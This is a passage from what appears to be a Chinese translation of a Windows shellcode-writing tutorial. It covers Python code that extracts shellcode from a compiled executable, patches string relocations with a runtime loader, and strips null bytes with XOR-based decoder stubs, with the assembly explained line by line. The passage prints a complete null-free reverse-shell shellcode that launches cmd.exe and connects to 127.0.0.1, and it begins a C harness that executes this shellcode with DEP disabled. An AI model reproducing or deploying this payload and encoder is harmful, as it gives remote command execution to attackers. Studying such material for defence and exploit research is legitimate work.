00241185 FF 54 24 34          call        dword ptr [esp+34h]
</code></pre>

<p>正如我们观察到的，<code>cmd.exe</code>的绝对地址是<code>242118h</code>。注意该地址是push指令的一部分并且该绝对地址被定位在了<code>24116Bh</code>。如果我们用某个文件编辑器检测文件<code>cmd.exe</code>,我们看到如下：</p>

<pre><code>56A: 68 18 21 40 00           push        000402118h
</code></pre>

<p>在文件中<code>56Ah</code>是偏移量。因为<code>image base</code>的偏移量为<code>400000h</code>，所以对应的虚拟地址是<code>40116A</code>。在内存中，这应该是执行体被加载的首选的（<code>preferred</code>）地址。执行体在指令中的绝对地址是<code>402118h</code>， 如果执行体在首选的基地址上被加载，即表明已正确执行。然而，如果执行体在不同的基地址上被加载，那么需要修复指令。Windows如何知道执行体含有需要被修复的地址？PE文件含有一个相对目录（<code>Relocation Directory</code>），在我们的案例中它指向<code>.reloc</code>节。该相对目录中包含所有需要被修复的位置上的<code>RVA</code>。</p>

<p>可以检查该目录并寻找如下所描述的位置上的地址</p>

<p>1.在<code>shellcode</code>中含有的（即从<code>.text:0</code>到末尾，<code>main</code>函数除外）， 2.含有<code>.rdata</code>中的数据指针。</p>

<p>例如，在其他地址中，<code>Relocation Directory</code>将包含位于指令<code>push 402118h</code>的后四个字节的地址<code>40116Bh</code>。这些字节构成了地址<code>402118h</code>，它指向在<code>.rdata</code>中的字符串<code>cmd.exe</code>（起始于地址<code>402000h</code>）。</p>

<p>观察函数<code>get_shellcode_and_reloc</code>s。在第一部分我们提取<code>.rdata</code>节：</p>

<pre><code>def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Extracts the shellcode from the .text section of the file exe_file and the string
    relocations.
    Returns the triple (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                &lt;snip&gt;
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
</code></pre>

<p>相关部分是<code>elif</code>的语句体。</p>

<p>接着分析重定位部分，在我们的<code>shellcode</code>中寻找地址并从<code>.rdata</code>中提取被那些地址引用的以<code>null</code>结尾的字符串。</p>

<p>正如我们已经说过的，我们只关注<code>shellcode</code>中的地址。这里是函数<code>get_shellcode_and_relocs</code>的相关部分：</p>

<pre><code># Extracts the relocations for the shellcode and the referenced strings in .rdata.
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)
                if shellcode_start &lt;= entry.rva &lt; shellcode_end:
                    # The relocation location is inside the shellcode.
                    relocs.append(entry.rva - shellcode_start)      # offset relative to the start of shellcode
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva &lt; rdata_start or string_rva &gt;= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)
</code></pre>

<p><code>pe.DIRECTORY_ENTRY_BASERELOC</code>是一个数据结构表，它含有一个重定位表的入口。首先检查当前重定位信息是否在<code>shellcode</code>中。如果是，则进行如下操作：</p>

<p>1.将与<code>shellcode</code>的起始地址有关的重定位信息的偏移追加到 <code>relocs</code>；</p>

<p>2.从<code>shellcode</code>中提取在已经发现的偏移上的<code>DWORD</code>值，并在<code>.rdata</code>中检查该指向数据的<code>DWORD</code>值；</p>

<p>3.从<code>.rdata</code>中提取起始于我们在(2)中发现的以<code>null</code>结尾的字符串；</p>

<p>4.将字符串添加到<code>addr_to_strings</code>。</p>

<p>注意：</p>

<p><code>i.relocs</code>含有在<code>shellcode</code>中重定位信息的偏移，即在需要被修复的<code>shellcode</code>中的<code>DWORD</code>值的偏移，以便它们指向字符串；</p>

<p><code>ii.addr_to_strings</code>相当于一个与在(2)中被发现的字符串所在地址相关联的字典。</p>

<h4>将loader添加到shellcode</h4>

<p>方法是将被包含在<code>addr_to_strings</code>中的字符串添加到我们<code>shellcode</code>的尾部，然后让我们的代码引用那些字符串。</p>

<p>不幸的是，代码->字符串的链接过程必须在运行时完成，因为我们不知道<code>shellcode</code>的起始地址，那么我们需要准备一个在运行时修复<code>shellcode</code>的“<code>loader</code>”。这是转化后的<code>shellcode</code>结构:</p>

<p><img src="http://static.wooyun.org//drops/20150902/2015090207383961816.png" alt="enter image description here" /></p>

<p><code>OffX</code>是指向原<code>shellcode</code>中重定位信息的<code>DWORD</code>值，它们需要被修复。<code>loader</code>将修复这些地址来让它们指向正确的字符串<code>strX</code>。 试图理解以下代码来了解实现原理：</p>

<pre><code>def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # there are no relocations
 
    # The format of the new shellcode is:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       &lt;shellcode&gt;         (contains offsets to strX (offset are from "here" label))
    #   relocs:
    #       off1|off2|...       (offsets to relocations (offset are from "here" label))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # Builds the first part (up to and not including the shellcode).
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B, 0xFE,                                 #   MOV EDI, ESI
        0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI
        0xE2, 0xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # Builds the final part (offX and strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # offset from "here" label
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    # Fixes the shellcode so that the pointers referenced by relocs point to the
    # string in the final part.
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
</code></pre>

<p>观察<code>loader</code>：</p>

<pre><code>CALL here                   ; PUSH EIP+5; JMP here
  here:
    POP ESI                     ; ESI = address of "here"
    MOV EDI, ESI                ; EDI = address of "here"
    ADD ESI, shellcode_start + len(shellcode) - here        ; ESI = address of off1
    MOV ECX, len(relocs)        ; ECX = number of locations to fix
    CLD                         ; tells LODSD to go forwards
  again:
    LODSD                       ; EAX = offX; ESI += 4
    ADD [EDI+EAX], EDI          ; fixes location within shellcode
    LOOP again                  ; DEC ECX; if ECX &gt; 0 then JMP again
  shellcode_start:
    &lt;shellcode&gt;
  relocs:
    off1|off2|...
    str1|str2|...
</code></pre>

<p>首先，使用<code>CALL</code>来获取<code>here</code>在内存中的绝对地址。<code>loader</code>使用该信息对原<code>shellcode</code>中的偏移进行修复。<code>ESI</code>指向<code>off1</code>，因此使用<code>LODSD</code>来逐一读取偏移。该指令</p>

<pre><code>ADD [EDI+EAX], EDI
</code></pre>

<p>用于修复<code>shellcode</code>中的地址。<code>EAX</code>是当前的<code>offX</code>，<code>offX</code>是与<code>here</code>相关的地址偏移 。这意味着<code>EDI+EAX</code>是那个位置上的绝对地址。<code>DWORD</code>值在那个地址上包含相对于<code>here</code>的字符串偏移。通过将<code>EDI</code>添加到那个<code>DWORD</code>值，我们将该<code>DWORD</code>值转换为该字符串的绝对地址。当<code>loader</code>已经执行完毕时，<code>shellcode</code>已被修复，同时也被成功执行。</p>

<p>总结，如果存在重定位信息，那么会调用<code>add_loader_to_shellcode</code>。可在<code>main</code>函数中观察到：</p>

<pre><code>&lt;snip&gt;
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
&lt;snip&gt;
</code></pre>

<h4>从<code>shellcode</code>中移除<code>null</code>字节 (I)</h4>

<p>编写如下两个函数来删去<code>null</code>字节。</p>

<pre><code>1.get_fixed_shellcode_single_block
2.get_fixed_shellcode
</code></pre>

<p>可以试试使用第一个函数生成更短的代码，但是这样做不一定可被执行。但是如果使用第二个函数生成更长的代码，则必定可被执行。</p>

<p>首先观察<code>get_fixed_shellcode_single_block</code>函数，该函数的定义如下：</p>

<pre><code>def get_fixed_shellcode_single_block(shellcode):
    '''
    Returns a version of shellcode without null bytes or None if the
    shellcode can't be fixed.
    If this function fails, use get_fixed_shellcode().
    '''
 
    # Finds one non-null byte not present, if any.
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1, 256) if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # shellcode can't be fixed
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, &lt;xor value 1 for shellcode len&gt;
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, &lt;xor value 2 for shellcode len&gt;
        0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, &lt;missing byte&gt;
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE2, 0xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
</code></pre>

<p>逐字节地分析<code>shellcode</code>并了解下这是否为被忽略的值，即从不出现在<code>shellcode</code>中的值。我们来了解下值<code>0x14</code>.如果我们用该值替换在<code>shellcode</code>中的每个<code>0x00</code>，那么<code>shellcode</code>将不再含有<code>null</code>字节，但是会因为被修改了而无法执行。最后是将一些<code>decoder</code>添加到<code>shellcode</code>，在运行时时，在原<code>shellcode</code>被执行前将重置null字节。如下：</p>

<pre><code>CALL $ + 4                                  ; PUSH "here"; JMP "here"-1
here:
  (FF)C0 = INC EAX                            ; not important: just a NOP
  POP EDI                                     ; EDI = "here"
  MOV ECX, &lt;xor value 1 for shellcode len&gt;
  XOR ECX, &lt;xor value 2 for shellcode len&gt;    ; ECX = shellcode length
  ADD EDI, shellcode_begin - here             ; EDI = absolute address of original shellcode
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; tells STOSB to go forwards
loop1:
  MOV AL, BYTE PTR [EDI]                      ; AL = current byte of the shellcode
  CMP AL, &lt;missing byte&gt;                      ; is AL the special byte?
  CMOVE EAX, ESI                              ; if AL is the special byte, then EAX = 0
  STOSB                                       ; overwrite the current byte of the shellcode with AL
  LOOP loop1                                  ; DEC ECX; if ECX &gt; 0 then JMP loop1
shellcode_begin:
</code></pre>

<p>这里有两个需要重点讨论的细节。首先，该代码不能含有<code>null</code>字节，因为我们需要另一段代码来移除他们</p>

<p><img src="http://ttp://drops.wooyun.org/wp-content/uploads/2015/09/2.png" alt="enter image description here" /></p>

<p>正如你看到的，<code>CALL</code>指令不会跳转到<code>here</code>，因为操作码（<code>opcode</code>）</p>

<pre><code>E8 00 00 00 00               #   CALL here
</code></pre>

<p>包含四个<code>null</code>字节. 因为<code>CALL</code> 指令为 5个字节, 所以<code>CALL here</code>指令等价于<code>CALL $+5</code>.除去<code>nul</code>l字节的技巧是使用指令 <code>CALL $+4</code>：</p>

<pre><code>E8 FF FF FF FF               #   CALL $+4
</code></pre>

<p>那CALL跳过4个字节 并jmp到CALL本身的最后一个FF。由字节C0紧接着CALL指令，因此在CALL指令执行之后该指令INC EAX对应的操作码FF C0会被执行。注意CALL指令中已压入栈的值仍然是here标记的绝对地址</p>

<p>这是除去null字节的第二种技巧：</p>

<p>MOV ECX, <xor value 1 for shellcode len> XOR ECX, <xor value 2 for shellcode len></p>

<p>我们可以只是使用：</p>

<p>MOV ECX, <shellcode len></p>

<p>但是这将不会生成null字节。而实际上，shellcode的长度为0x400，我们将会看到该指令</p>

<p>B9 00 04 00 00 MOV ECX, 400h</p>

<p>存在3个null字节。</p>

<p>为了避免存在该问题，我们选择使用一个不会出现在<code>00000400h</code>中的<code>non-null</code>字节。我们选择使用<code>0x01</code>.现在我们计算如下：</p>

<pre><code>&lt;xor value 1 for shellcode len&gt; = 00000400h xor 01010101 = 01010501h
&lt;xor value 2 for shellcode len&gt; = 01010101h
</code></pre>

<p>在指令中使用<code>&lt;xor value 1 for shellcode len&gt;</code> 和 <code>&lt;xor value 2 for shellcode len&gt;</code>对应的操作码都不存在<code>null</code>字节，并且在执行<code>xor</code>操作后，生成的原始值为<code>400h</code>。</p>

<p>对应的两条指令将会是：</p>

<pre><code>B9 01 05 01 01        MOV ECX, 01010501h
81 F1 01 01 01 01     XOR ECX, 01010101h
</code></pre>

<p>通过函数 <code>get_xor_values</code>来计算<code>xor</code>值。</p>

<p>正如以上提到过的，该代码很容易理解：通过逐字节检查<code>shellcode</code>来用特定的值（<code>0x14</code>，在之前的范例中）覆写<code>null</code>字节。</p>

<h4>从shellcode中移除null字节(II)</h4>

<p>如上的方法会失败，因为我们不能找到从不在<code>shellcode</code>中出现过的字节值。如果失败了，我们需要使用<code>get_fixed_shellcode</code>，但是它更为复杂。</p>

<p>方法是将<code>shellcode</code>分为多个<code>254</code>字节的块。注意每个块必须存在一个 “<code>missing byte</code>”，因为一个字节可以具有<code>255</code>个非0值。我们可以对每个块进行逐个处理来为每个块选择<code>missing byte</code>。但是这样做可能效率不高，因为对于一段具有<code>254*N</code>个字节的<code>shellcode</code>来说，我们需要在<code>shellcode（</code>存在识别<code>missing bytes</code>的<code>decoder</code>）被处理之前或之后存储N个 “<code>missing bytes</code>”。最有效的做法是，为尽可能多个254字节的块使用相同的“<code>missing bytes</code>”。我们从<code>shellcode</code>的起始部分开始对块进行处理，直到处理完最后一个块。最后，我们会有<code>&lt;missing_byte, num_blocks&gt;</code>配对的列表：</p>

<pre><code>[(missing_byte1, num_blocks1), (missing_byte2, num_blocks2), ...]
</code></pre>

<p>我已决定将<code>num_blocksX</code>限制为一个单一字节，因此，<code>num_blocksX</code> 的值会在1到255之间。</p>

<p>此处是<code>get_fixed_shellcode</code>部分，该部分将<code>shellcode</code>分为多个块。</p>

<pre><code>def get_fixed_shellcode(shellcode):
    '''
    Returns a version of shellcode without null bytes. This version divides
    the shellcode into multiple blocks and should be used only if
    get_fixed_shellcode_single_block() doesn't work with this shellcode.
    '''
 
    # The format of bytes_blocks is
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # where missing_byteX is the value used to overwrite the null bytes in the
    # shellcode, while number_of_blocksX is the number of 254-byte blocks where
    # to use the corresponding missing_byteX.
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i &lt; shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
 
        # Tries to find as many 254-byte contiguous blocks as possible which misses at
        # least one non-null value. Note that a single 254-byte block always misses at
        # least one non-null value.
        while True:
            if i &gt;= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # new block added
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
&lt;snip&gt;
</code></pre>

<p>就像之前，我们需要讨论在<code>shellcode</code>起始部分提前准备好的“<code>decoder</code>”。该<code>decoder</code>的代码比之前的更长，但是原理相同。</p>

<p>这里是代码:</p>

<pre><code>code = ([
    0xEB, len(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                        # bytes:
    bytes_blocks + [                                    #   ...
                                                        # skip_bytes:
    0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                        # here:
    0xC0,                                               #   (FF)C0 = INC EAX
    0x5F,                                               #   POP EDI
    0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, &lt;xor value 1 for shellcode len&gt;
    0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, &lt;xor value 2 for shellcode len&gt;
    0x8D, 0x5F, -(len(bytes_blocks) + 5) &amp; 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
    0x83, 0xC7, 0x30,                                   #   ADD EDI, shellcode_begin - here
                                                        # loop1:
    0xB0, 0xFE,                                         #   MOV AL, 0FEh
    0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]
    0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX
    0x33, 0xF6,                                         #   XOR ESI, ESI
    0xFC,                                               #   CLD
                                                        # loop2:
    0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
    0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]
    0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
    0xAA,                                               #   STOSB
    0x49,                                               #   DEC ECX
    0x74, 0x07,                                         #   JE shellcode_begin
    0x4A,                                               #   DEC EDX
    0x75, 0xF2,                                         #   JNE loop2
    0x43,                                               #   INC EBX
    0x43,                                               #   INC EBX
    0xEB, 0xE3                                          #   JMP loop1
                                                        # shellcode_begin:
])
</code></pre>

<p><code>bytes_blocks</code>是数组：</p>

<pre><code>[missing_byte1, num_blocks1, missing_byte2, num_blocks2, ...]
</code></pre>

<p>我们在之前已经讨论过，但是没有配对。</p>

<p>注意代码始于跳过<code>bytes_blocks</code>的<code>JMP SHORT</code>指令。为了实现该操作，<code>len(bytes_blocks)</code>必须小于或等于<code>0x7F</code>。但是正如你所看到的，<code>len(bytes_blocks)</code> 也出现在另一条指令中：</p>

<pre><code>0x8D, 0x5F, -(len(bytes_blocks) + 5) &amp; 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
</code></pre>

<p>这里要求<code>len(bytes_blocks)</code> 小于或等于<code>0x7F – 5</code>，因此这是决定性的条件。如果条件违规，则：</p>

<pre><code>if len(bytes_blocks) &gt; 0x7f - 5:
# Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
return None
</code></pre>

<p>进一步审计代码：</p>

<pre><code>JMP SHORT skip_bytes
bytes:
  ...
skip_bytes:
  CALL $ + 4                                  ; PUSH "here"; JMP "here"-1
here:
  (FF)C0 = INC EAX                            ; not important: just a NOP
  POP EDI                                     ; EDI = absolute address of "here"
  MOV ECX, &lt;xor value 1 for shellcode len&gt;
  XOR ECX, &lt;xor value 2 for shellcode len&gt;    ; ECX = shellcode length
  LEA EBX, [EDI + (bytes - here)]             ; EBX = absolute address of "bytes"
  ADD EDI, shellcode_begin - here             ; EDI = absolute address of the shellcode
loop1:
  MOV AL, 0FEh                                ; AL = 254
  MUL AL, BYTE PTR [EBX+1]                    ; AX = 254 * current num_blocksX = num bytes
  MOVZX EDX, AX                               ; EDX = num bytes of the current chunk
  XOR ESI, ESI                                ; ESI = 0
  CLD                                         ; tells STOSB to go forwards
loop2:
  MOV AL, BYTE PTR [EDI]                      ; AL = current byte of shellcode
  CMP AL, BYTE PTR [EBX]                      ; is AL the missing byte for the current chunk?
  CMOVE EAX, ESI                              ; if it is, then EAX = 0
  STOSB                                       ; replaces the current byte of the shellcode with AL
  DEC ECX                                     ; ECX -= 1
  JE shellcode_begin                          ; if ECX == 0, then we're done!
  DEC EDX                                     ; EDX -= 1
  JNE loop2                                   ; if EDX != 0, then we keep working on the current chunk
  INC EBX                                     ; EBX += 1  (moves to next pair...
  INC EBX                                     ; EBX += 1   ... missing_bytes, num_blocks)
  JMP loop1                                   ; starts working on the next chunk
shellcode_begin:
</code></pre>

<h3>测试脚本</h3>

<p>这部分会简明易懂！如果没有任何参数，运行脚本将会显示如下：</p>

<pre><code>Shellcode Extractor by Massimiliano Tomassoli (2015)

Usage:
  sce.py &lt;exe file&gt; &lt;map file&gt;
</code></pre>

<p>如果你还记得，我们也已经告诉过<code>VS 2013</code> 的<code>linker</code>生成一个映射文件。只调用具有<code>exe</code>文件及映射文件路径的脚本。此处是从反向<code>shellcode</code>中得到的信息：</p>

<pre><code>Shellcode Extractor by Massimiliano Tomassoli (2015)

Extracting shellcode length from "mapfile"...
shellcode length: 614
Extracting shellcode from "shellcode.exe" and analyzing relocations...
Found 3 reference(s) to 3 string(s) in .rdata
Strings:
  ws2_32.dll
  cmd.exe
  127.0.0.1

Fixing the shellcode...
final shellcode length: 715

char shellcode[] =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
"\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
"\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
"\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
"\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
"\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
"\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
"\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
"\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
"\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
"\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
"\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
"\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
"\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
"\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
"\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
"\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
"\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
"\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
"\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
"\x89\x44\x24\x2a\x8d\x44\x24\x48\x50\xff\x54\x24\x24\x57\x57\x57"
"\x57\x89\x44\x24\x3c\x8d\x44\x24\x38\x6a\x10\x50\x56\xff\x54\x24"
"\x34\x85\xc0\x75\x5c\x6a\x44\x5f\x8b\xcf\x8d\x44\x24\x58\x33\xd2"
"\x88\x10\x40\x49\x75\xfa\x8d\x44\x24\x38\x89\x7c\x24\x58\x50\x8d"
"\x44\x24\x5c\xc7\x84\x24\x88\x05\x05\x05\x05\x01\x05\x05\x50\x52"
"\x52\x52\x6a\x01\x52\x52\x68\x92\x02\x05\x05\x52\x89\xb4\x24\xc0"
"\x05\x05\x05\x89\xb4\x24\xbc\x05\x05\x05\x89\xb4\x24\xb8\x05\x05"
"\x05\xff\x54\x24\x34\x6a\xff\xff\x74\x24\x3c\xff\x54\x24\x18\x33"
"\xff\x57\xff\xd3\x5f\x5e\x33\xc0\x5b\x8b\xe5\x5d\xc3\x33\xd2\xeb"
"\x10\xc1\xca\x0d\x3c\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0"
"\x41\x8a\x01\x84\xc0\x75\xea\x8b\xc2\xc3\x55\x8b\xec\x83\xec\x14"
"\x53\x56\x57\x89\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b"
"\x45\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8d\x47\xf8"
"\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x9e\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x7d\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\xa0\x33\xc0\x5f"
"\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48"
"\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6"
"\xeb\xdd\x2f\x05\x05\x05\xf2\x05\x05\x05\x80\x01\x05\x05\x77\x73"
"\x32\x5f\x33\x32\x2e\x64\x6c\x6c\x05\x63\x6d\x64\x2e\x65\x78\x65"
"\x05\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x05";
</code></pre>

<p>重点在于重定位信息，因为可以根据它来检查一切是否OK。例如，我们了解到反向shell使用3个字符串来实现，并且它们是从<code>.rdata</code>节中提取的。我们可以了解到原始<code>shellcode</code>为614个字节，同时也了解到已生成的<code>shellcode</code>（在处理了重定向信息以及<code>null</code>字节之后）为715字节。</p>

<p>现在需要运行已生成的<code>shellcode</code>。此处是完整的源码：</p>

<pre><code>#include &lt;cstring&gt;
#include &lt;cassert&gt;
 
// Important: Disable DEP!
//  (Linker-&gt;Advanced-&gt;Data Execution Prevention = NO)
 
void main() {
    char shellcode[] =
        "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\xa8\x03\x01\x01\x81\xf1\x01\x01"
        "\x01\x01\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
        "\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x7b\x02\x05\x05"
        "\xb9\x03\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x55\x8b\xec\x83"
        "\xe4\xf8\x81\xec\x24\x02\x05\x05\x53\x56\x57\xb9\x8d\x10\xb7\xf8"
        "\xe8\xa5\x01\x05\x05\x68\x87\x02\x05\x05\xff\xd0\xb9\x40\xd5\xdc"
        "\x2d\xe8\x94\x01\x05\x05\xb9\x6f\xf1\xd4\x9f\x8b\xf0\xe8\x88\x01"
        "\x05\x05\xb9\x82\xa1\x0d\xa5\x8b\xf8\xe8\x7c\x01\x05\x05\xb9\x70"
        "\xbe\x1c\x23\x89\x44\x24\x18\xe8\x6e\x01\x05\x05\xb9\xd1\xfe\x73"
        "\x1b\x89\x44\x24\x0c\xe8\x60\x01\x05\x05\xb9\xe2\xfa\x1b\x01\xe8"
        "\x56\x01\x05\x05\xb9\xc9\x53\x29\xdc\x89\x44\x24\x20\xe8\x48\x01"
        "\x05\x05\xb9\x6e\x85\x1c\x5c\x89\x44\x24\x1c\xe8\x3a\x01\x05\x05"
        "\xb9\xe0\x53\x31\x4b\x89\x44\x24\x24\xe8\x2c\x01\x05\x05\xb9\x98"
        "\x94\x8e\xca\x8b\xd8\xe8\x20\x01\x05\x05\x89\x44\x24\x10\x8d\x84"
        "\x24\xa0\x05\x05\x05\x50\x68\x02\x02\x05\x05\xff\xd6\x33\xc9\x85"
        "\xc0\x0f\x85\xd8\x05\x05\x05\x51\x51\x51\x6a\x06\x6a\x01\x6a\x02"
        "\x58\x50\xff\xd7\x8b\xf0\x33\xff\x83\xfe\xff\x0f\x84\xc0\x05\x05"
        "\x05\x8d\x44\x24\x14\x50\x57\x57\x68\x9a\x02\x05\x05\xff\x54\x24"
        "\x2c\x85\xc0\x0f\x85\xa8\x05\x05\x05\x6a\x02\x57\x57\x6a\x10\x8d"
        "\x44\x24\x58\x50\x8b\x44\x24\x28\xff\x70\x10\xff\x70\x18\xff\x54"
        "\x24\x40\x6a\x02\x58\x66\x89\x44\x24\x28\xb8\x05\x7b\x05\x05\x66"
